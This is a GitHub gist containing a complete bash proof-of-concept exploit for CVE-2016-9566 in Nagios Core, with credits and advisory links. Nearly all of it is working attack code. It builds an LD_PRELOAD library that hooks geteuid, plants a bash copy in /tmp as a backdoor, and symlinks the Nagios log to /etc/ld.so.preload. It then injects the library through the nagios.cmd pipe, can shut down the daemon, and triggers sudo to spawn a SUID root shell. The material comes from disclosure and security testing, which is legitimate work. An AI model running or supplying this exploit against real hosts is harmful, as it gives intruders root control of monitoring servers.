Created
December 16, 2016 15:54
-
-
Save xl7dev/322b0f85dc9f6a06573302c7de4f4249 to your computer and use it in GitHub Desktop.
Nagios Exploit Root PrivEsc CVE-2016-9566
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit | |
# nagios-root-privesc.sh (ver. 1.0) | |
# | |
# CVE-2016-9566 | |
# | |
# Discovered and coded by: | |
# | |
# Dawid Golunski | |
# dawid[at]legalhackers.com | |
# | |
# https://legalhackers.com | |
# | |
# Follow https://twitter.com/dawid_golunski for updates on this advisory | |
# | |
# | |
# [Info] | |
# | |
# This PoC exploit allows privilege escalation from 'nagios' system account, | |
# or an account belonging to 'nagios' group, to root (root shell). | |
# Attackers could obtain such an account via exploiting another vulnerability, | |
# e.g. CVE-2016-9565 linked below. | |
# | |
# [Exploit usage] | |
# | |
# ./nagios-root-privesc.sh path_to_nagios.log | |
# | |
# | |
# See the full advisory for details at: | |
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html | |
# | |
# Video PoC: | |
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html | |
# | |
# CVE-2016-9565: | |
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html | |
# | |
# Disclaimer: | |
# For testing purposes only. Do no harm. | |
# | |
BACKDOORSH="/bin/bash" | |
BACKDOORPATH="/tmp/nagiosrootsh" | |
PRIVESCLIB="/tmp/nagios_privesc_lib.so" | |
PRIVESCSRC="/tmp/nagios_privesc_lib.c" | |
SUIDBIN="/usr/bin/sudo" | |
commandfile='/usr/local/nagios/var/rw/nagios.cmd' | |
function cleanexit { | |
# Cleanup | |
echo -e "\n[+] Cleaning up..." | |
rm -f $PRIVESCSRC | |
rm -f $PRIVESCLIB | |
rm -f $ERRORLOG | |
touch $ERRORLOG | |
if [ -f /etc/ld.so.preload ]; then | |
echo -n > /etc/ld.so.preload | |
fi | |
echo -e "\n[+] Job done. Exiting with code $1 \n" | |
exit $1 | |
} | |
function ctrl_c() { | |
echo -e "\n[+] Ctrl+C pressed" | |
cleanexit 0 | |
} | |
#intro | |
echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n" | |
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" | |
# Priv check | |
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" | |
id | grep -q nagios | |
if [ $? -ne 0 ]; then | |
echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n" | |
exit 3 | |
fi | |
# Set target paths | |
ERRORLOG="$1" | |
if [ ! -f "$ERRORLOG" ]; then | |
echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n" | |
echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n" | |
exit 3 | |
fi | |
# [ Exploitation ] | |
trap ctrl_c INT | |
# Compile privesc preload library | |
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" | |
cat <<_solibeof_>$PRIVESCSRC | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
#include <dlfcn.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
uid_t geteuid(void) { | |
static uid_t (*old_geteuid)(); | |
old_geteuid = dlsym(RTLD_NEXT, "geteuid"); | |
if ( old_geteuid() == 0 ) { | |
chown("$BACKDOORPATH", 0, 0); | |
chmod("$BACKDOORPATH", 04777); | |
unlink("/etc/ld.so.preload"); | |
} | |
return old_geteuid(); | |
} | |
_solibeof_ | |
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" | |
if [ $? -ne 0 ]; then | |
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." | |
cleanexit 2; | |
fi | |
# Prepare backdoor shell | |
cp $BACKDOORSH $BACKDOORPATH | |
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" | |
# Safety check | |
if [ -f /etc/ld.so.preload ]; then | |
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." | |
exit 2 | |
fi | |
# Symlink the Nagios log file | |
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG | |
if [ $? -ne 0 ]; then | |
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." | |
cleanexit 3 | |
fi | |
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" | |
{ | |
# Wait for Nagios to get restarted | |
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n" | |
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] " | |
read THE_ANSWER | |
if [ "$THE_ANSWER" = "y" ]; then | |
/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile | |
fi | |
sleep 3s | |
ps aux | grep -v grep | grep -i 'bin/nagios' | |
if [ $? -ne 0 ]; then | |
echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n" | |
fi | |
while :; do | |
sleep 1 2>/dev/null | |
if [ -f /etc/ld.so.preload ]; then | |
rm -f $ERRORLOG | |
break; | |
fi | |
done | |
echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`" | |
# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms: | |
# -rw-r--r-- 1 nagios nagios | |
# Only 'nagios' user can write to it, but 'nagios' group can not. | |
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user. | |
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe | |
# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will | |
# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :) | |
sleep 3s # Wait for Nagios to create the nagios.cmd pipe | |
if [ ! -p $commandfile ]; then | |
echo -e "\n[!] Nagios command pipe $commandfile does not exist!" | |
exit 2 | |
fi | |
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload" | |
now=`date +%s` | |
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile | |
sleep 1s | |
grep -q "$PRIVESCLIB" /etc/ld.so.preload | |
if [ $? -eq 0 ]; then | |
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`" | |
else | |
echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload" | |
exit 2 | |
fi | |
} 2>/dev/null | |
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) | |
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary" | |
sudo 2>/dev/null >/dev/null | |
# Check for the rootshell | |
ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null | |
if [ $? -eq 0 ]; then | |
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" | |
echo -e "\n\033[94mGot root via Nagios!\033[0m" | |
else | |
echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`" | |
cleanexit 2 | |
fi | |
# Use the rootshell to perform cleanup that requires root privileges | |
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" | |
rm -f $ERRORLOG | |
echo > $ERRORLOG | |
# Execute the rootshell | |
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n" | |
$BACKDOORPATH -p -i | |
# Job done. | |
cleanexit 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment